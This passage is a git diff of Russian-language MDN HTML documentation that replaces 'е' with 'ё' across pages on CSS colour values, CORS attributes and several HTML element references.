      Позволяет создавать изображения с помощью команд, которые рисуют определённые фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.

      WebGL
      Библиотека Веб-Графики (The Web Graphics Library) - это кроссплатформенный API на основе OpenGL ES, используется для создания высокопроизводительной 2D и 3D-графики в браузере. См. Learn WebGL for 2D and 3D, чтобы узнать больше..
      @@ -103,7 +103,7 @@ translation_of: Web/HTML/Applying_color

      Ключевые слова

      -

      Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (red), синий (blue), или оранжевый (orange)), оттенки серого (от черного (black) к белому (white), включая такие цвета как темносерый (darkgray) или светло-серый (lightgrey)), а также множество других смешанных цветов: lightseagreen, cornflowerblue, и rebeccapurple.

      +

      Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (red), синий (blue), или оранжевый (orange)), оттенки серого (от чёрного (black) к белому (white), включая такие цвета как темносерый (darkgray) или светло-серый (lightgrey)), а также множество других смешанных цветов: lightseagreen, cornflowerblue, и rebeccapurple.

      См. {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} - полный перечень всех доступных ключевых слов.

      @@ -113,26 +113,26 @@ translation_of: Web/HTML/Applying_color

      Шестнадцатеричная запись в виде строки

      -

      Шестнадцатеричная запись передает цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зеленый и синий). Запись также может включать четвертый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент необходимо задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: "#D" превращается в "#DD".

      +

      Шестнадцатеричная запись передаёт цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зелёный и синий). Запись также может включать четвёртый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент необходимо задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: "#D" превращается в "#DD".

      Цвет в шестнадцатеричной записи всегда начинается с символа "#". После него начинаются шестнадцатеричные числа цветового кода. Запись не зависит от регистра.

      "#rrggbb"
      -
      Задает полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом 0xrr, зеленого - 0xgg и синего - 0xbb.
      +
      Задаёт полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом 0xrr, зелёного - 0xgg и синего - 0xbb.
      "#rrggbbaa"
      -
      Задает цвет, у которого компонент красного представлен шестнадцатеричным числом 0xrr, зеленого - 0xgg и синего - 0xbb. Альфа канал представлен 0xaa; чем ниже значение, тем прозрачнее становится цвет.
      +
      Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом 0xrr, зелёного - 0xgg и синего - 0xbb. Альфа канал представлен 0xaa; чем ниже значение, тем прозрачнее становится цвет.
      "#rgb"
      -
      Задает цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зеленого - 0xg и синего - 0xb.
      +
      Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зелёного - 0xg и синего - 0xb.
      "#rgba"
      -
      Задает цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зеленого - 0xg и синего - 0xb. Альфа канал представлен 0xa; чем ниже значение, тем прозрачнее становится цвет.
      +
      Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зелёного - 0xg и синего - 0xb. Альфа канал представлен 0xa; чем ниже значение, тем прозрачнее становится цвет.

      Например, вы можете представить непрозрачный ярко-синий цвет как "#0000ff" или "#00f". Для того, чтобы сделать его на 25% прозрачным, вы можете использовать "#0000ff44" или "#00f4".

      RGB запись в виде функции

      -

      RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зеленый и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зеленого и синего компонентов и, опционально, четвертого компонента - значение альфа канала.

      +

      RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зелёный и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зелёного и синего компонентов и, опционально, четвёртого компонента - значение альфа канала.

      Допустимые значения для каждого из этих параметров:

      @@ -152,12 +152,12 @@ translation_of: Web/HTML/Applying_color
      HSL color cylinder
      -

      Рис. 1. Цилиндрическая модель HSL. Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого темного к самому  светлому (от черного к белому). Изображение представлено пользователем SharkD в Wikipedia, распространяется на правах лицензии CC BY-SA 3.0 .

      +

      Рис. 1. Цилиндрическая модель HSL. Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого тёмного к самому  светлому (от чёрного к белому). Изображение представлено пользователем SharkD в Wikipedia, распространяется на правах лицензии CC BY-SA 3.0 .

      -

      Значение компонента оттенок (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через желтый, зеленый, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно -  в градусах (deg), радианах (rad), градиентах (grad) или поворотах (turn). Но компонент оттенок никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.

      +

      Значение компонента оттенок (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через жёлтый, зелёный, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно -  в градусах (deg), радианах (rad), градиентах (grad) или поворотах (turn). Но компонент оттенок никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.

      Компонент насыщенность (S) определяет количество конечного цвета из которого состоит указанный оттенок. Остальное определяется уровнем серого цвета, которое указывает компонент luminance/ lightness (L).

      @@ -165,7 +165,7 @@ translation_of: Web/HTML/Applying_color
      1. Вы начинаете с базовой краски, т.е. с максимально возможной интенсивности данного цвета. Например, наиболее насыщенный синий, который может быть представлен на экране пользователя. Это компонент hue (оттенок): значение представляющее угол вокруг цветового круга для насыщенного оттенка, который мы хотим использовать в качестве нашей базы.
      2. -
      3. Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это luminance/ lightness (яркость). Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к черному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный черный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.
      4. +
      5. Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это luminance/ lightness (яркость). Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к чёрному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный чёрный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.
      6. Теперь, когда у есть серый цвет и идеально насыщенный цвет, вам необходимо их смешать. Компонент saturation (насыщенность) определяет какой процент конечного цвета должен состоять из идеально насыщенного цвета. Остаток конечного цвета формируется серым цветом, который представляет насыщенность.
      @@ -245,7 +245,7 @@ th {

      Самый простой способ присвоить цвет элементу и то, как это обычно делается - это просто указать цвет в CSS. Мы не будем останавливаться на каждом из вышеупомянутых свойств, а просто рассмотрим несколько примеров. Где бы вы не использовали цвет, принцип один и тот же.

      -

      Давайте начнем наш пример с результата, который нам нужно достичь:

      +

      Давайте начнём наш пример с результата, который нам нужно достичь:

       

      @@ -253,7 +253,7 @@ th {

      HTML

      -

      HTML, который создает вышеупомянутый пример:

      +

      HTML, который создаёт вышеупомянутый пример:

      <div class="wrapper">
         <div class="box boxLeft">
      @@ -268,7 +268,7 @@ th {
         </div>
       </div>
      -

      Все довольно просто: первый {{HTMLElement("div")}} используется как обертка (wrapper) содержимого, которое состоит из еще двух <div>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.

      +

      Все довольно просто: первый {{HTMLElement("div")}} используется как обёртка (wrapper) содержимого, которое состоит из ещё двух <div>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.

      Все волшебство, как всегда, происходит в CSS, где мы и будем присваивать цвет к данным HTML элементам..

      @@ -307,7 +307,7 @@ th {

       

      -

      Вкратце класс .box устанавливает размер каждого блока и параметры шрифта. Также мы используем CSS Flexbox, чтобы с легкостью отцентрировать содержимое каждого блока. Мы включаем режим flex с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаем отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.

      +

      Вкратце класс .box устанавливает размер каждого блока и параметры шрифта. Также мы используем CSS Flexbox, чтобы с лёгкостью отцентрировать содержимое каждого блока. Мы включаем режим flex с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаём отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.

       

      @@ -324,7 +324,7 @@ th {
      • {{cssxref("background-color")}} определяет цвет фона блока значением rgb(245, 130, 130).
      • {{cssxref("outline")}}, в отличие от привычного нам свойства border,  не влияет на положение блока и его ширину. Outline представлен сплошной, темно-красной линией, шириной в 2 пикселя. Обратите внимание на ключевое слово darkred, которое используется для определение цвета.
      • -
      • Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это черный цвет.
      • +
      • Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это чёрный цвет.

       

      @@ -346,8 +346,8 @@ th {
    • background-color определяется значением HSL: hsl(270deg, 50%, 75%). Это светло-фиолетовый цвет.
    • Outline блока определяет, что вокруг блока должна быть прерывистая линия, шириной в четыре пикселя, фиолетового цвета немного темнее, чем цвет фона (rgb(110, 20, 120)).
    • Цвет текста определяется свойством {{cssxref("color")}}, значение которого hsl(0deg, 100%, 100%). Это один из многих способов задать белый цвет.
    • -
    • С помощью {{cssxref("text-decoration")}} мы добавляем зеленую волнистую линию под текстом.
    • -
    • И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую черную тень тексту.
    • +
    • С помощью {{cssxref("text-decoration")}} мы добавляем зелёную волнистую линию под текстом.
    • +
    • И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую чёрную тень тексту.
    • Предоставляем возможность пользователю выбрать цвет

      diff --git a/files/ru/web/html/attributes/crossorigin/index.html b/files/ru/web/html/attributes/crossorigin/index.html index b0b744eb5d..b709a2876b 100644 --- a/files/ru/web/html/attributes/crossorigin/index.html +++ b/files/ru/web/html/attributes/crossorigin/index.html @@ -14,16 +14,16 @@ original_slug: Web/HTML/CORS_settings_attributes
      - + - +
      anonymousCORS запросы от этого элемента не будут передавать учетные данные.CORS запросы от этого элемента не будут передавать учётные данные.
      use-credentialsCORS запросы от этого элемента будут передавать учетные данные.CORS запросы от этого элемента будут передавать учётные данные.
      -

      По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена учетных данных(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в Секции Терминология CORS спецификации.

      +

      По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена учётных данных(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в Секции Терминология CORS спецификации.

      Неправильное ключевое слово или пустая строка, будет обработано как anonymous.

      diff --git a/files/ru/web/html/attributes/index.html b/files/ru/web/html/attributes/index.html index 874a7d2137..2e63f37bcd 100644 --- a/files/ru/web/html/attributes/index.html +++ b/files/ru/web/html/attributes/index.html @@ -113,7 +113,7 @@ translation_of: Web/HTML/Attributes manifest {{ HTMLElement("html") }} - Задает URL кешированного манифеста документа. + Задаёт URL кешированного манифеста документа. max @@ -153,7 +153,7 @@ translation_of: Web/HTML/Attributes novalidate {{ HTMLElement("form") }} - Этот атрибут указывает, что форма не должна проверяться, когда передается на сервер. + Этот атрибут указывает, что форма не должна проверяться, когда передаётся на сервер. open diff --git a/files/ru/web/html/block-level_elements/index.html b/files/ru/web/html/block-level_elements/index.html index ce640274c9..2dc399414a 100644 --- a/files/ru/web/html/block-level_elements/index.html +++ b/files/ru/web/html/block-level_elements/index.html @@ -47,7 +47,7 @@ translation_of: Web/HTML/Block-level_elements

      Элементы

      -

      Ниже приведен полный список всех блочных элементов (хотя формально понятие «блочный» не применяется к новым элементам в HTML5).

      +

      Ниже приведён полный список всех блочных элементов (хотя формально понятие «блочный» не применяется к новым элементам в HTML5).

      diff --git a/files/ru/web/html/cors_enabled_image/index.html b/files/ru/web/html/cors_enabled_image/index.html index 5c36131100..1a2ccf817e 100644 --- a/files/ru/web/html/cors_enabled_image/index.html +++ b/files/ru/web/html/cors_enabled_image/index.html @@ -31,7 +31,7 @@ translation_of: Web/HTML/CORS_enabled_image
    • Вызов {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} на canvas
    -

    Попытка обратиться к ним, когда холст испорчен, приведет к возникновению ошибки безопасности SecurityError. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удаленных веб-сайтов без разрешения.

    +

    Попытка обратиться к ним, когда холст испорчен, приведёт к возникновению ошибки безопасности SecurityError. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удалённых веб-сайтов без разрешения.

    Хранение изображений из внешнего источника

    @@ -58,7 +58,7 @@ translation_of: Web/HTML/CORS_enabled_image

    Теперь, когда сервер настроен так, чтобы разрешить извлечение изображений из разных источников, мы можем написать код, который позволяет пользователю сохранять их в локальном хранилище, как если бы они обслуживались из того же домена, на котором выполняется код.

    -

    Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путем установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}}  в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.

    +

    Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путём установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}}  в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.

    Запуск загрузки

    diff --git a/files/ru/web/html/element/a/index.html b/files/ru/web/html/element/a/index.html index dff65ceb59..23d1ab1ea8 100644 --- a/files/ru/web/html/element/a/index.html +++ b/files/ru/web/html/element/a/index.html @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/a
    {{htmlattrdef("methods")}} {{Non-standard_inline}}
    Значение этого атрибута предоставляет информацию о функциях, которые могут быть выполнены на объекте. Обычно значения даны HTTP-протоколом, когда он использован, но может (для похожих целей, как для атрибута title) быть полезным для включения контрольной информации в ссылке. Например, браузер может выбрать другой тип рендеринга для ссылки как функцию определённых методов; что-то, что может быть найдено, может иметь другую иконку, или внешняя ссылка может получить индикатор перехода с текущего сайта. Этот элемент не понимается или не поддерживается полностью даже браузером Internet Explorer 4, который определил этот атрибут. Значения methods (MSDN).
    {{htmlattrdef("urn")}} {{Non-standard_inline}}
    -
    Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё еще не определено полностью, поэтому этот атрибут не имеет значения. Значения urn (MSDN).
    +
    Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё ещё не определено полностью, поэтому этот атрибут не имеет значения. Значения urn (MSDN).

    Примеры

    @@ -308,7 +308,7 @@ document.body.appendChild(link);

    Совместимость с браузерами

    - +

    {{Compat("html.elements.a")}}

    @@ -379,7 +379,7 @@ document.body.appendChild(link);

    HTML 3.2 включает в себя только name, href, rel, rev и title.

    -

    Атрибут target не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, target не допускается в «строгих» вариантах XHTML, но разрешен в формах frameset или «переходных» формах.

    +

    Атрибут target не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, target не допускается в «строгих» вариантах XHTML, но разрешён в формах frameset или «переходных» формах.

    Рекомендации по JavaScript

    diff --git a/files/ru/web/html/element/abbr/index.html b/files/ru/web/html/element/abbr/index.html index bafacbbc6e..0baa39703f 100644 --- a/files/ru/web/html/element/abbr/index.html +++ b/files/ru/web/html/element/abbr/index.html @@ -182,5 +182,5 @@ translation_of: Web/HTML/Element/abbr
    • Использование элемента <abbr>
    • Другие элементы, являющиеся семантически текстовыми: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.
    • -
    • Устаревший элемент {{HTMLElement("acronym")}}, который был заменен элементом <abbr>.
    • +
    • Устаревший элемент {{HTMLElement("acronym")}}, который был заменён элементом <abbr>.
    diff --git a/files/ru/web/html/element/acronym/index.html b/files/ru/web/html/element/acronym/index.html index 2f9af89af9..369030b776 100644 --- a/files/ru/web/html/element/acronym/index.html +++ b/files/ru/web/html/element/acronym/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/acronym
    • Некоторые, например, Internet Explorer, не стилизуют его, и он выглядит неотличимо от обычного {{HTMLElement("span")}}.
    • -
    • Opera, Firefox и некоторые други браузеры подчеркивают его точками.
    • +
    • Opera, Firefox и некоторые други браузеры подчёркивают его точками.
    • Малая часть браузеров помимо подчёркивания точками также меняют начертание текста на капитель (small caps). Во избежание такого поведения, как вариант, необходимо добавить {{cssxref('font-variant')}}: none в CSS стиль.
    diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html index 2378f1c42d..db0b3f3713 100644 --- a/files/ru/web/html/element/address/index.html +++ b/files/ru/web/html/element/address/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTML/Element/address ---

    {{HTMLRef}}

    -

    HTML- тег <address>  задает контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.

    +

    HTML- тег <address>  задаёт контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.

    Примечание:

    @@ -70,7 +70,7 @@ translation_of: Web/HTML/Element/address

    Image:HTML-address.png

    -

    Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передает дополнительную семантическую информацию.

    +

    Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передаёт дополнительную семантическую информацию.

    Спецификации

    diff --git a/files/ru/web/html/element/applet/index.html b/files/ru/web/html/element/applet/index.html index 8ff6d23951..2051209ae0 100644 --- a/files/ru/web/html/element/applet/index.html +++ b/files/ru/web/html/element/applet/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/applet

    Элемент HTML апплет (<applet>) определяет включение апплета java.

    -

    Примечание: {{htmlelement("applet")}} элемент был удален в Gecko 56 и Chrome в конце 2015 года. Удаление рассматривается в WebKit и Edge.

    +

    Примечание: {{htmlelement("applet")}} элемент был удалён в Gecko 56 и Chrome в конце 2015 года. Удаление рассматривается в WebKit и Edge.

    Атрибуты

    diff --git a/files/ru/web/html/element/area/index.html b/files/ru/web/html/element/area/index.html index c161b623e6..052718aaaa 100644 --- a/files/ru/web/html/element/area/index.html +++ b/files/ru/web/html/element/area/index.html @@ -3,7 +3,7 @@ title: slug: Web/HTML/Element/area translation_of: Web/HTML/Element/area --- -
    HTML <area> элемент определяет активную область на изображении и, при желании, связывает ее с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.
    +
    HTML <area> элемент определяет активную область на изображении и, при желании, связывает её с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.
    {{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}
    @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/area Элементы потока, фразового контента. - Разрешенное содержимое + Разрешённое содержимое Нет, это {{Glossary("пустой элемент")}}. @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/area - Разрешенные роли ARIA + Разрешённые роли ARIA Нет @@ -53,12 +53,12 @@ translation_of: Web/HTML/Element/area
    {{htmlattrdef("alt")}}
    -
    С помощью этого атрибута задается альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута href.
    +
    С помощью этого атрибута задаётся альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута href.
    {{htmlattrdef("coords")}}
    -
    Задает значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута shape. Для rect или прямоугольника задаются две пары значений x,y coords: лево, верх, право и низ. Для circle, значения x,y,r где x,y координаты центра круга, а r радиус. Для poly или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: x1,y1,x2,y2,x3,y3, и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.
    +
    Задаёт значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута shape. Для rect или прямоугольника задаются две пары значений x,y coords: лево, верх, право и низ. Для circle, значения x,y,r где x,y координаты центра круга, а r радиус. Для poly или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: x1,y1,x2,y2,x3,y3, и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.
    {{htmlattrdef("download")}} {{HTMLVersionInline("5")}}
    Этот атрибут, если он добавлен, указывает, что ссылка используется для скачивания файла. Смотри {{HTMLElement("a")}} для полного описания атрибута {{htmlattrxref("download", "a")}}.
    diff --git a/files/ru/web/html/element/article/index.html b/files/ru/web/html/element/article/index.html index 88bb5e5a48..b77f6dec57 100644 --- a/files/ru/web/html/element/article/index.html +++ b/files/ru/web/html/element/article/index.html @@ -29,7 +29,7 @@ translation_of: Web/HTML/Element/article Основной поток, секционный контент, явный контент. - Разрешенное содержимое + Разрешённое содержимое Основной поток. @@ -37,11 +37,11 @@ translation_of: Web/HTML/Element/article Ни одного; Оба тега, открывающий и закрывающий, являются обязательными. - Разрешенные родительские элементы + Разрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <article> не должен быть потомком элемента {{HTMLElement("address")}}. - Разрешенные ARIA роли + Разрешённые ARIA роли {{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}} @@ -58,7 +58,7 @@ translation_of: Web/HTML/Element/article

    Примечание

      -
    • Каждый элемент <article> должен быть идентифицирован, обычно путем добавления заголовка (элементы <h1>-<h6>) в качестве дочернего элемента.
    • +
    • Каждый элемент <article> должен быть идентифицирован, обычно путём добавления заголовка (элементы <h1>-<h6>) в качестве дочернего элемента.
    • Когда элемент <article> является вложенным, внутренний элемент представляет собой контент связанный с внешним элементом. Например, комментарии к публикации в блоге могут быть элементами <article>, вложенными в другой <article>, являющийся публикацией в блоге.
    • Информация об авторе в элементе <article> может быть представлена через элемент {{HTMLElement("address")}}, но это не применимо к вложенным элементам <article>.
    • Дата и время публикации в элементе <article> могут быть описаны с помощью атрибута {{htmlattrxref("datetime", "time")}} элемента {{HTMLElement("time")}}. Обратите внимание, что атрибут {{htmlattrxref("pubdate", "time")}} элемента {{HTMLElement("time")}} больше не является частью стандарта {{glossary("W3C")}} {{glossary("HTML5")}}.
    • diff --git a/files/ru/web/html/element/aside/index.html b/files/ru/web/html/element/aside/index.html index 20c210ff79..02cc80bdeb 100644 --- a/files/ru/web/html/element/aside/index.html +++ b/files/ru/web/html/element/aside/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/aside ---
      {{HTMLRef}}
      -

      HTML-элемент <aside> представляет собой часть документа, чье содержимое только косвенно связанно с основным содержимым документа. Чаще всего представлен в виде боковой панели, сносок или меток.

      +

      HTML-элемент <aside> представляет собой часть документа, чьё содержимое только косвенно связанно с основным содержимым документа. Чаще всего представлен в виде боковой панели, сносок или меток.

      {{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}
      @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/aside Основной поток, секционный контент, явный контент. - Разрешенное содержимое + Разрешённое содержимое Основной поток. @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/aside Ни одного; Оба тега, открывающий и закрывающий, являются обязательными. - Разрешенные родительские элементы + Разрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <aside> не должен быть потомком элемента {{HTMLElement("address")}}. - Разрешенные роли ARIA + Разрешённые роли ARIA {{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}} diff --git a/files/ru/web/html/element/audio/index.html b/files/ru/web/html/element/audio/index.html index aae3df398d..b9ab8f0521 100644 --- a/files/ru/web/html/element/audio/index.html +++ b/files/ru/web/html/element/audio/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTML/Element/audio -

      Приведенный выше пример показывает простое использование элемента <audio>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут src. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.

      +

      Приведённый выше пример показывает простое использование элемента <audio>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут src. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.

      Контент между открывающим и закрывающим тегами элемента <audio> (в примере выше) отображается в браузерах, которые не поддерживают этот элемент.

      @@ -57,8 +57,8 @@ translation_of: Web/HTML/Element/audio
      {{htmlattrdef("autoplay")}}
      -
      Атрибут логического типа. Если он указан, аудио начнет автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. -
      Заметка: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать ее Opt-in (вид подписки), то есть когда пользователь специально (сам) включил ее. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.
      +
      Атрибут логического типа. Если он указан, аудио начнёт автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. +
      Заметка: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать её Opt-in (вид подписки), то есть когда пользователь специально (сам) включил её. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.
      {{htmlattrdef("controls")}}
      Если этот атрибут присутствует, браузер предложит элементы управления, позволяющие пользователю управлять воспроизведением аудио, в том числе громкостью, перемоткой и паузой.
      @@ -76,10 +76,10 @@ translation_of: Web/HTML/Element/audio
      {{htmlattrdef("loop")}}
      Атрибут логического типа. Если он указан, проигрыватель будет автоматически возвращаться в начало при достижении конца аудио.
      {{htmlattrdef("muted")}}
      -
